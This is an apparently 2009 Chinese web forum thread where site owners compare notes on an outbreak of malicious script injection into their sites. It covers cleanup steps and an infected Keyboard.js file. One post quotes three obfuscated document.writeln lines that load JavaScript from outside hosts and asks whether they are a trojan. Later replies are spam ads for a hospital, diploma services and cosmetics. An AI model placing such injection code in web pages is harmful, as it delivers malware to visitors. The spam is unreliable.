8月24日至26日陆续被挂马的用户查看本贴进行解决！

木野真情

按照你的第一种方法去将空间里面的文件全部下载下来。但是我没有看见下载不了的啊 。全部都下载下来了哦。

tranbbs

木马清了，后台路径改了，一些必要的目录也禁止写入了。那生成文件的HTML目录怎么办？依然还在被挂马！

elfe56

改了后台目录就没事了吧？好像被挂马的都是没有改后台目录的
xxx9956 发表于 2009-8-26 16:13

我的是修改了后台目录的，也被挂了

fossil

我前两天清马后，修改了后台地址和密码，今天打开后台登陆口360提示有木马，ftp登陆检查是inc下的一个Keyboard.js文件有代码！

但是管理登陆不了，密码不起作用了，修改数据库的admin的md5密码值也不起作用！

最后试了好几次，终于发现md5加密大小写是有区别的!

但是针对这次的挂马漏洞还未有补丁出来，甚是担心再被挂马！！

管理幸苦了，既要帮客户清马，还有做补丁！

beijinghss

document.writeln(\'<script language=\"JavaScript\" src=\"http://www.cuaa.%6Eet/member/member/file/ruxi%6E.js\" type=\"text/javascript\" id=\"seraph5script7215\"  ><\\/script>\');
document.writeln(\'<script language=\"JavaScript\" src=\"http://c0812.2288.o%72g\" type=\"text/javascript\" id=\"seraph4script7501\"  ><\\/script>\');
document.writeln(\'<script src=\"http://0810.%36%3600.org\" type=\"text/javascript\" language=\"JavaScript\" id=\"seraph3script7404\"  ><\\/script>\');


这个代码 是不是木马

dan1223

也许是因为总是对未来存有期冀，对于彼岸这个词一直抱有太多的痴心妄想。北京白癜风医院，总以为只要是彼岸，就会有希望。然而，并不是到达彼岸，就可以看见一场盛大的花开。 fejruihgdfjghd。

125355003

  

cgy7788

Q**257169.8188教育秉承“信誉至上、承诺为本”之宗旨，以服务社会为己任，针对我国教育体制存在的现状，为个人提供公平的参与。    与高等教育学习进修机会.常年开设以下项目：自考专科，函授本科，网络教育，在职研究生，职称评审，企业人力资源管理师，物流师，理财规划师，心理咨询师，普通话，教师，电工钳工等，建筑类职称，民办学历，中专学历，电工IC卡，营销师，施工员，监理工程师，建筑八大员，会计电算化，实务做账，内审员，计算机等级，特种设备，机械特种，国际信息化认可，成人高考报名，成人脱产，等等。       http://www.haerbingjiazheng.com/

vafqkeap

我是来打酱油的<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>美白针